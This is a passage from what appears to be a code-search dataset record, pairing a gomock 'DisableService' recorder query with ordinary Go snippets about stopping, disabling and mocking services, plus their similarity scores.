true\n\n\t_, err := fixture.poolClient.Update(context.Background(), poolA, meta_v1.UpdateOptions{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !await.Block() {\n\t\tt.Fatal(\"Unexpected service status update\")\n\t}\n\n\tif !fixture.lbIPAM.rangesStore.ranges[0].externallyDisabled {\n\t\tt.Fatal(\"The range has not been externally disabled\")\n\t}\n\n\tawait = fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\tsvc := fixture.PatchedSvc(action)\n\n\t\tif svc.Name != \"service-b\" {\n\t\t\tt.Error(\"Expected service status update to occur on service-b\")\n\t\t\treturn true\n\t\t}\n\n\t\tif len(svc.Status.LoadBalancer.Ingress) != 0 {\n\t\t\tt.Error(\"Expected service to receive no ingress IPs\")\n\t\t\treturn true\n\t\t}\n\n\t\treturn true\n\t}, time.Second)\n\n\tserviceB := &slim_core_v1.Service{\n\t\tObjectMeta: slim_meta_v1.ObjectMeta{\n\t\t\tName: \"service-b\",\n\t\t\tNamespace: \"default\",\n\t\t\tUID: serviceBUID,\n\t\t},\n\t\tSpec: slim_core_v1.ServiceSpec{\n\t\t\tType: slim_core_v1.ServiceTypeLoadBalancer,\n\t\t},\n\t}\n\n\t_, err = fixture.svcClient.Services(\"default\").Create(context.Background(), serviceB, meta_v1.CreateOptions{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif await.Block() {\n\t\tt.Fatal(\"Expected service status update\")\n\t}\n\n\tawait = fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\tsvc := fixture.PatchedSvc(action)\n\n\t\tif svc.Name != \"service-b\" {\n\t\t\treturn false\n\t\t}\n\n\t\tif len(svc.Status.LoadBalancer.Ingress) != 1 {\n\t\t\treturn false\n\t\t}\n\n\t\treturn true\n\t}, time.Second)\n\n\tpoolA.Spec.Disabled = false\n\n\t_, err = fixture.poolClient.Update(context.Background(), poolA, meta_v1.UpdateOptions{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif await.Block() {\n\t\tt.Fatal(\"Expected service status update\")\n\t}\n}", "func (c *restClient) DisableServiceOperation(name string) *DisableServiceOperation {\n\toverride := fmt.Sprintf(\"/v1/%s\", name)\n\treturn &DisableServiceOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t\tpollPath: override,\n\t}\n}", "func disabledTestManual(t *testing.T) {\n\tzkCli, sm, logger, err := createSolrMonitor(t)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer logger.AssertNoErrors(t)\n\tdefer zkCli.Close()\n\tdefer sm.Close()\n\n\ttime.Sleep(10 * time.Minute)\n}", "func (mr *MockmonitorInterfaceMockRecorder) DisableService(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DisableService\", reflect.TypeOf((*MockmonitorInterface)(nil).DisableService), arg0)\n}", "func (m *MockWatcher) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (h *healthcheckManager) disable() {\n\th.lock.Lock()\n\tdefer h.lock.Unlock()\n\th.enabled = false\n}", "func (m *MockRPCServer) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func Disable(failpath string) error {\n\treturn failpoints.Disable(failpath)\n}", "func (m *MockResolver) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func TestEnableDisableDNS(t *testing.T) {\n\t// Prepare different cases\n\tcases := []struct {\n\t\tName string\n\t\tTestEnable bool\n\t\tFailInVPP bool\n\t\tExpectFailure bool\n\t\tExpected govppapi.Message\n\t}{\n\t\t{\n\t\t\tName: \"successful enabling of DNS\",\n\t\t\tTestEnable: true,\n\t\t\tExpected: &dns.DNSEnableDisable{\n\t\t\t\tEnable: 1,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName: \"enable failure\",\n\t\t\tTestEnable: true,\n\t\t\tFailInVPP: true,\n\t\t\tExpectFailure: true,\n\t\t},\n\t\t{\n\t\t\tName: \"successful disabling of DNS\",\n\t\t\tTestEnable: false,\n\t\t\tExpected: &dns.DNSEnableDisable{\n\t\t\t\tEnable: 0,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName: \"disable failure\",\n\t\t\tTestEnable: false,\n\t\t\tFailInVPP: true,\n\t\t\tExpectFailure: true,\n\t\t},\n\t}\n\n\t// Run all cases\n\tfor _, td := range cases {\n\t\tt.Run(td.Name, func(t *testing.T) {\n\t\t\tctx, vppCalls := setup(t)\n\t\t\tdefer teardown(ctx)\n\t\t\t// prepare reply\n\t\t\tif td.FailInVPP {\n\t\t\t\tctx.MockVpp.MockReply(&dns.DNSEnableDisableReply{Retval: 1})\n\t\t\t} else {\n\t\t\t\tctx.MockVpp.MockReply(&dns.DNSEnableDisableReply{})\n\t\t\t}\n\n\t\t\t// make the call\n\t\t\tvar err error\n\t\t\tif td.TestEnable {\n\t\t\t\terr = vppCalls.EnableDNS()\n\t\t\t} else {\n\t\t\t\terr = vppCalls.DisableDNS()\n\t\t\t}\n\n\t\t\t// verify result\n\t\t\tif td.ExpectFailure {\n\t\t\t\tExpect(err).Should(HaveOccurred())\n\t\t\t} else {\n\t\t\t\tExpect(err).ShouldNot(HaveOccurred())\n\t\t\t\tExpect(ctx.MockChannel.Msg).To(Equal(td.Expected))\n\t\t\t}\n\t\t})\n\t}\n}", "func (sys Systemd) StopAndDisable(unit string) error {\n\tns := fmt.Sprintf(\"project_%s_%s\", sys.p.ID, sys.kind)\n\ttarget := ns + \"_\" + unit\n\n\tif sys.s.Systemd.UseLegacy {\n\t\t// --now cannot be used with at least 215\n\t\tif err := exec.Command(\"systemctl\", \"stop\", target).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to disable systemd unit %s: %s\", target, err)\n\t\t}\n\t\tif err := exec.Command(\"systemctl\", \"disable\", target).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to disable systemd unit %s: %s\", target, err)\n\t\t}\n\t} else {\n\t\tif err := exec.Command(\"systemctl\", \"disable\", \"--now\", target).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to stop+disable systemd unit %s: %s\", target, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (service *LockServiceMock) Unlock(resourceID string) {\n\t//do something\n}", "func (_m *Knapsack) DisableTraceIngestTLS() bool {\n\tret := _m.Called()\n\n\tvar r0 bool\n\tif rf, ok := ret.Get(0).(func() bool); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(bool)\n\t}\n\n\treturn r0\n}", "func (ali *AttestationLocalInfra) Disable(ctx context.Context) error {\n\tvar lastErr error\n\tif ali.dbStashed {\n\t\tif err := ali.snapshot.Pop(hwsec.AttestationDBPath); err != nil {\n\t\t\ttesting.ContextLog(ctx, \"Failed to pop the snapshot of attestation database back: \", err)\n\t\t\tlastErr = errors.Wrap(err, \"failed to pop the snapshot of attestation database back\")\n\t\t}\n\t}\n\tif err := ali.injectNormalGoogleKeys(ctx); err != nil {\n\t\ttesting.ContextLog(ctx, \"Failed to inject the normal key back: \", err)\n\t\tlastErr = errors.Wrap(err, \"failed to inject the normal key back\")\n\t}\n\tif err := ali.disableFakePCAAgent(ctx); err != nil {\n\t\ttesting.ContextLog(ctx, \"Failed to disable fake pca agent: \", err)\n\t\tlastErr = errors.Wrap(err, \"failed to disable fake pca agent\")\n\t}\n\treturn lastErr\n}", "func (m *MockapprunnerDescriber) Service() (*apprunner.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\")\n\tret0, _ := ret[0].(*apprunner.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (b *Backend) Disable() {\n\tb.mu.Lock()\n\twhen := time.Now().Add(b.mu.disableDuration)\n\tb.mu.disabledUntil = when\n\tb.mu.Unlock()\n\tlog.Printf(\"disabling %s until %s\", b.addr, when)\n}", "func (m *MockInternalScheduler) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (actor Actor) DisableServiceForOrg(serviceName, orgName string) (Warnings, error) {\n\tservicePlans, allWarnings, err := actor.GetServicePlansForService(serviceName)\n\tif err != nil {\n\t\treturn allWarnings, err\n\t}\n\n\torg, orgWarnings, err := actor.GetOrganizationByName(orgName)\n\tallWarnings = append(allWarnings, orgWarnings...)\n\tif err != nil {\n\t\treturn allWarnings, err\n\t}\n\n\tfor _, plan := range servicePlans {\n\t\twarnings, err := actor.removeOrgLevelServicePlanVisibilities(plan.GUID, org.GUID)\n\t\tallWarnings = append(allWarnings, warnings...)\n\t\tif err != nil {\n\t\t\treturn allWarnings, err\n\t\t}\n\t}\n\treturn allWarnings, nil\n}", "func (m *MockkafkaProxy) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (client ServicesClient) DisableTestEndpointSender(req *http.Request) (*http.Response, error) {\n\treturn client.Send(req, azure.DoRetryWithRegistration(client.Client))\n}", "func (m *MockCertificateManager) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (_m *Knapsack) DisableControlTLS() bool {\n\tret := _m.Called()\n\n\tvar r0 bool\n\tif rf, ok := ret.Get(0).(func() bool); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(bool)\n\t}\n\n\treturn r0\n}", "func (c *Client) DisableService(ctx context.Context, req *serviceusagepb.DisableServiceRequest, opts ...gax.CallOption) (*DisableServiceOperation, error) {\n\treturn c.internalClient.DisableService(ctx, req, opts...)\n}", "func (m *MockClient) Unlock() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Unlock\")\n}", "func (service *BaseService) DisableRetries() {\n\tif isRetryableClient(service.Client) {\n\t\t// If the current client hanging off the base service is retryable,\n\t\t// then we need to get ahold of the embedded http.Client instance\n\t\t// and set that on the base service and effectively remove\n\t\t// the retryable client instance.\n\t\ttr := service.Client.Transport.(*retryablehttp.RoundTripper)\n\t\tservice.Client = tr.Client.HTTPClient\n\t}\n}", "func (m *MockqueueTaskProcessor) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (actor Actor) DisableServiceForAllOrgs(serviceName string) (Warnings, error) {\n\tservicePlans, allWarnings, err := actor.GetServicePlansForService(serviceName)\n\tif err != nil {\n\t\treturn allWarnings, err\n\t}\n\n\tfor _, plan := range servicePlans {\n\t\twarnings, err := actor.removeOrgLevelServicePlanVisibilities(plan.GUID, \"\")\n\t\tallWarnings = append(allWarnings, warnings...)\n\t\tif err != nil {\n\t\t\treturn allWarnings, err\n\t\t}\n\t\tif plan.Public == true {\n\t\t\twarnings, err := actor.CloudControllerClient.UpdateServicePlan(plan.GUID, false)\n\t\t\tallWarnings = append(allWarnings, warnings...)\n\t\t\tif err != nil {\n\t\t\t\treturn allWarnings, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn allWarnings, nil\n}", "func (m *MockRepositoryInterface) GitHubDisableRepository(ctx context.Context, repositoryID string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GitHubDisableRepository\", ctx, repositoryID)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (mdsMock *MockedMDS) Stop() {\n\tmdsMock.Called()\n}", "func (m *MockAccessPolicyMeshEnforcer) StopEnforcing(ctx context.Context, mesh *v1alpha1.Mesh) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"StopEnforcing\", ctx, mesh)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestFakeHostSnapshotDisable(t *testing.T) {\n\tresult := prepareForFakeHostTest.RunTest(t)\n\tt.Helper()\n\tctx := result.TestContext.SingletonForTests(\"host-fake-snapshot\")\n\tif len(ctx.AllOutputs()) != 0 {\n\t\tt.Error(\"Fake host snapshot not empty when disabled\")\n\t}\n\n}", "func (m *MockUnsafePdfServiceServer) mustEmbedUnimplementedPdfServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedPdfServiceServer\")\n}", "func (m *MockRemotePeer) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (client ServicesClient) DisableTestEndpoint(ctx context.Context, resourceGroupName string, serviceName string) (result autorest.Response, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/ServicesClient.DisableTestEndpoint\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.Response != nil {\n\t\t\t\tsc = result.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\treq, err := client.DisableTestEndpointPreparer(ctx, resourceGroupName, serviceName)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"appplatform.ServicesClient\", \"DisableTestEndpoint\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.DisableTestEndpointSender(req)\n\tif err != nil {\n\t\tresult.Response = resp\n\t\terr = autorest.NewErrorWithError(err, \"appplatform.ServicesClient\", \"DisableTestEndpoint\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult, err = client.DisableTestEndpointResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"appplatform.ServicesClient\", \"DisableTestEndpoint\", resp, \"Failure responding to request\")\n\t\treturn\n\t}\n\n\treturn\n}", "func (_m *Knapsack) SetDisableControlTLS(disabled bool) error {\n\tret := _m.Called(disabled)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(bool) error); ok {\n\t\tr0 = rf(disabled)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockToggle) Enabled() bool {\n\tret := m.ctrl.Call(m, \"Enabled\")\n\tret0, _ := ret[0].(bool)\n\treturn ret0\n}", "func (m *MockCerebroker) Stop() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Stop\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (fps *Failpoints) Disable(failpath string) error {\n\tfps.mu.Lock()\n\tdefer fps.mu.Unlock()\n\n\tfp := fps.reg[failpath]\n\tif fp == nil {\n\t\treturn errors.Wrapf(ErrNotExist, \"error on %s\", failpath)\n\t}\n\tfp.Disable()\n\treturn nil\n}", "func (o *MockGrpcOrderer) Stop() {\n\tif o.srv == nil {\n\t\tpanic(\"MockGrpcOrderer not started\")\n\t}\n\ttest.Logf(\"Stopping MockGrpcOrderer [%s]\", o.OrdererURL)\n\to.srv.Stop()\n\to.wg.Wait()\n\to.srv = nil\n\ttest.Logf(\"Stopped MockGrpcOrderer [%s]\", o.OrdererURL)\n}", "func Disable(client *golangsdk.ServiceClient, clusterId string) (r ErrorResult) {\n\t_, r.Err = client.Delete(disableURL(client, clusterId), nil)\n\treturn\n}", "func (p *Param) DisableAutomation() error {\n\treturn errors.New(\"Param.DisableAutomation() has not been implemented yet.\")\n}", "func StopService() {\n\tseleniumService.Stop()\n}", "func (m *MockProvisionerClient) Stop(arg0 context.Context, arg1 *tfplugin5.Stop_Request, arg2 ...grpc.CallOption) (*tfplugin5.Stop_Response, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Stop\", varargs...)\n\tret0, _ := ret[0].(*tfplugin5.Stop_Response)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *Mock) ModuleStop() (err error) {\n\treturn nil\n}", "func (_m *Knapsack) SetDisableTraceIngestTLS(enabled bool) error {\n\tret := _m.Called(enabled)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(bool) error); ok {\n\t\tr0 = rf(enabled)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (c *gRPCClient) DisableServiceOperation(name string) *DisableServiceOperation {\n\treturn &DisableServiceOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t}\n}", "func (m *MockHostNode) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (m *MockApp) Noop(arg0 context.Context) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Noop\", arg0)\n}", "func (m *MockMempool) Unlock() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Unlock\")\n}", "func (ooc *MockOpenoltClient) DisablePonIf(ctx context.Context, in *openolt.Interface, opts ...grpc.CallOption) (*openolt.Empty, error) {\n\treturn &openolt.Empty{}, nil\n}", "func NewMockService(transport *http.Transport, aurl string, rurl string, surl string) Service {\n\n\treturn Service{\n\t\tclient: &http.Client{\n\t\t\tTransport: transport,\n\t\t},\n\t\tauthURL: aurl,\n\t\tregistryURL: rurl,\n\t\tserviceURL: surl,\n\t}\n}", "func (m *MockWatcher) Stop() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Stop\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUsecase) StopListenEvents(userID int) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"StopListenEvents\", userID)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockCgroupNotifier) Stop() {\n\tm.Called()\n}", "func (m *MockProvider) Service(arg0 string) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\", arg0)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockMessageMonitor) Enabled() bool {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Enabled\")\n\tret0, _ := ret[0].(bool)\n\treturn ret0\n}", "func (i *ServiceInitializer) StopService(s turbo.Servable) {\n}", "func Disable() *DisableParams {\n\treturn &DisableParams{}\n}", "func Disable() *DisableParams {\n\treturn &DisableParams{}\n}", "func Disable() *DisableParams {\n\treturn &DisableParams{}\n}", "func Disable() {\n\tEnable = false\n}", "func (m *MockProc) StopListen() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"StopListen\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUnsafeLinkServiceServer) mustEmbedUnimplementedLinkServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedLinkServiceServer\")\n}", "func Test_ExternalNameServiceStopsDefaultingInternalTrafficPolicy(t *testing.T) {\n\tserver := kubeapiservertesting.StartTestServerOrDie(t, nil, nil, framework.SharedEtcd())\n\tdefer server.TearDownFn()\n\n\tclient, err := clientset.NewForConfig(server.ClientConfig)\n\tif err != nil {\n\t\tt.Fatalf(\"Error creating clientset: %v\", err)\n\t}\n\n\tns := framework.CreateNamespaceOrDie(client, \"test-external-name-drops-internal-traffic-policy\", t)\n\tdefer framework.DeleteNamespaceOrDie(client, ns, t)\n\n\tservice := &corev1.Service{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"test-123\",\n\t\t},\n\t\tSpec: corev1.ServiceSpec{\n\t\t\tType: corev1.ServiceTypeExternalName,\n\t\t\tExternalName: \"foo.bar.com\",\n\t\t},\n\t}\n\n\tservice, err = client.CoreV1().Services(ns.Name).Create(context.TODO(), service, metav1.CreateOptions{})\n\tif err != nil {\n\t\tt.Fatalf(\"Error creating test service: %v\", err)\n\t}\n\n\tif service.Spec.InternalTrafficPolicy != nil {\n\t\tt.Errorf(\"service internalTrafficPolicy should be droppped but is set: %v\", service.Spec.InternalTrafficPolicy)\n\t}\n\n\tservice, err = client.CoreV1().Services(ns.Name).Get(context.TODO(), service.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\tt.Fatalf(\"error getting service: %v\", err)\n\t}\n\n\tif service.Spec.InternalTrafficPolicy != nil {\n\t\tt.Errorf(\"service internalTrafficPolicy should be droppped but is set: %v\", service.Spec.InternalTrafficPolicy)\n\t}\n}", "func (c *MyPlugin) Disable() error {\n\treturn nil\n}", "func (this *Deployment) prepareDisabledServices(e *Executor) error {\n\t// Disable `ondemand` power-saving service by unlinking it from /etc/rc*.d.\n\terr := e.BashCmd(`find ` + this.Application.RootFsDir() + `/etc/rc*.d/ -wholename '*/S*ondemand' -exec unlink {} \\;`)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Disable `ntpdate` client from being triggered when networking comes up.\n\terr = e.BashCmd(`chmod a-x ` + this.Application.RootFsDir() + `/etc/network/if-up.d/ntpdate`)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Disable auto-start for unnecessary services in /etc/init/*.conf, such as: SSH, rsyslog, cron, tty1-6, and udev.\n\tfor _, service := range []string{\"ssh\", \"rsyslog\", \"cron\", \"tty1\", \"tty2\", \"tty3\", \"tty4\", \"tty5\", \"tty6\", \"udev\"} {\n\t\terr = e.BashCmd(\"echo 'manual' > \" + this.Application.RootFsDir() + \"/etc/init/\" + service + \".override\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (m *MockAnalyticsD) Stop() error {\n\tret := m.ctrl.Call(m, \"Stop\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUnsafeTodoServiceServer) mustEmbedUnimplementedTodoServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedTodoServiceServer\")\n}", "func (m *MockProvider) OnServiceAdd(arg0 *v1.Service) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnServiceAdd\", arg0)\n}", "func (m *MockVendor) OnOff(ctx context.Context, s bool) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnOff\", ctx, s)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockProxy) Stop() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Stop\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (t *timer) disable() {\n\tif t.state != timerStateDisabled {\n\t\tt.state = timerStateOrphaned\n\t}\n}", "func (vr *VirtualResource) Disable(id string) error {\n\titem := VirtualServerConfig{Disabled: true}\n\tresp, err := vr.doRequest(\"PATCH\", id, item)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif err := vr.readError(resp); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (m *MockProviderClient) Stop(arg0 context.Context, arg1 *tfplugin5.Stop_Request, arg2 ...grpc.CallOption) (*tfplugin5.Stop_Response, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Stop\", varargs...)\n\tret0, _ := ret[0].(*tfplugin5.Stop_Response)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockHandler) Deactivate(ctx context.Context, exactType string, tasks []models.Task) error {\n\tret := m.ctrl.Call(m, \"Deactivate\", ctx, exactType, tasks)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func NewService(t testing.TB) *Service {\n\tmock := &Service{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "func (m *MockSession) AnnounceWorkerStopped() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"AnnounceWorkerStopped\")\n}", "func (m *MockEngine) Stop() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Stop\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func mockAlwaysRun() bool { return true }", "func (_m *MockService) Deactivate(ctx context.Context, clusterID uint, serviceName string) (_result_0 error) {\n\tret := _m.Called(ctx, clusterID, serviceName)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, uint, string) error); ok {\n\t\tr0 = rf(ctx, clusterID, serviceName)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (r *Rkt) Disable() error {\n\terr := r.Runner.Run(\"sudo systemctl stop rkt-api\")\n\tif err == nil {\n\t\terr = r.Runner.Run(\"sudo systemctl stop rkt-metadata\")\n\t}\n\treturn err\n}", "func (m *MockProvider) OnServiceSynced() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnServiceSynced\")\n}", "func (m *MockTaskManager) StopWorker() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"StopWorker\")\n}" ]
[ "0.6809746", "0.65900284", "0.6533331", "0.6399372", "0.6143802", "0.61340934", "0.6126237", "0.5982858", "0.5962882", "0.59600717", "0.5922216", "0.58795536", "0.5854374", "0.58170897", "0.5809106", "0.5746704", "0.57357657", "0.57158107", "0.57032377", "0.5700378", "0.5681159", "0.5678024", "0.56671363", "0.5659429", "0.56520015", "0.5647206", "0.5627486", "0.56174374", "0.56158864", "0.55971205", "0.558547", "0.5572163", "0.55695736", "0.55681443", "0.55549127", "0.5541706", "0.5535466", "0.55239516", "0.55079794", "0.5507256", "0.55047375", "0.54962695", "0.54932636", "0.5465608", "0.5452517", "0.54400104", "0.54277843", "0.5424132", "0.5413992", "0.5412448", "0.5409326", "0.5408141", "0.54075205", "0.5393776", "0.5386393", "0.5383011", "0.53817767", "0.53816104", "0.53779316", "0.53637403", "0.5355384", "0.53528905", "0.53496355", "0.53439206", "0.533392", "0.53293383", "0.5323917", "0.5304141", "0.529987", "0.5299101", "0.52888465", "0.5281465", "0.5277377", "0.5271855", "0.5270044", "0.5270044", "0.5270044", "0.5263706", "0.52601045", "0.5259928", "0.5259782", "0.5258415", "0.5258411", "0.52538186", "0.5253791", "0.5249745", "0.5249368", "0.52485764", "0.5245985", "0.5245405", "0.5239036", "0.52364075", "0.52354276", "0.52325636", "0.5217366", "0.52158177", "0.5215665", "0.5208601", "0.52035785", "0.52010125" ]
0.75567
0
DisableService indicates an expected call of DisableService
func (mr *MockmonitorInterfaceMockRecorder) DisableService(arg0 interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "DisableService", reflect.TypeOf((*MockmonitorInterface)(nil).DisableService), arg0) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s *Service) Disable() error {\n\tif s.mgr == nil {\n\t\treturn ErrNoManager\n\t}\n\ts.mgr.lock()\n\tdefer s.mgr.unlock()\n\n\tif !s.enabled && s.reason == \"Disabled\" {\n\t\treturn nil\n\t}\n\n\ts.serial = s.mgr.bumpSerial()\n\ts.logf(\"Disabling service %s\", s.Name())\n\ts.stamp = time.Now()\n\ts.reason = \"Disabled\"\n\ts.enabled = false\n\ts.failed = false\n\ts.err = nil\n\ts.stopRecurse(\"Disabled\")\n\treturn nil\n}", "func (c *Client) DisableService(serviceName string) (*Service, error) {\n\tservice, err := c.GetService(serviceName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbody := RequestBody{\n\t\tCredentials: []string{},\n\t\tBlindCredentials: []string{},\n\t\tAccount: service.Account,\n\t\tEnabled: false,\n\t}\n\tvar response Service\n\terr = c.Request(\"PUT\", \"/v1/services/\"+serviceName, &body, &response)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if response.Error != \"\" {\n\t\treturn nil, errors.New(response.Error)\n\t}\n\tc.services[serviceName] = &response\n\treturn &response, nil\n}", "func (c *restClient) DisableService(ctx context.Context, req *serviceusagepb.DisableServiceRequest, opts ...gax.CallOption) (*DisableServiceOperation, error) {\n\tm := protojson.MarshalOptions{AllowPartial: true, UseEnumNumbers: true}\n\tjsonReq, err := m.Marshal(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbaseUrl, err := url.Parse(c.endpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbaseUrl.Path += fmt.Sprintf(\"/v1/%v:disable\", req.GetName())\n\n\t// Build HTTP headers from client and context metadata.\n\thds := []string{\"x-goog-request-params\", fmt.Sprintf(\"%s=%v\", \"name\", url.QueryEscape(req.GetName()))}\n\n\thds = append(c.xGoogHeaders, hds...)\n\thds = append(hds, \"Content-Type\", \"application/json\")\n\theaders := gax.BuildHeaders(ctx, hds...)\n\tunm := protojson.UnmarshalOptions{AllowPartial: true, DiscardUnknown: true}\n\tresp := &longrunningpb.Operation{}\n\te := gax.Invoke(ctx, func(ctx context.Context, settings gax.CallSettings) error {\n\t\tif settings.Path != \"\" {\n\t\t\tbaseUrl.Path = settings.Path\n\t\t}\n\t\thttpReq, err := http.NewRequest(\"POST\", baseUrl.String(), bytes.NewReader(jsonReq))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\thttpReq = httpReq.WithContext(ctx)\n\t\thttpReq.Header = headers\n\n\t\thttpRsp, err := c.httpClient.Do(httpReq)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer httpRsp.Body.Close()\n\n\t\tif err = googleapi.CheckResponse(httpRsp); err 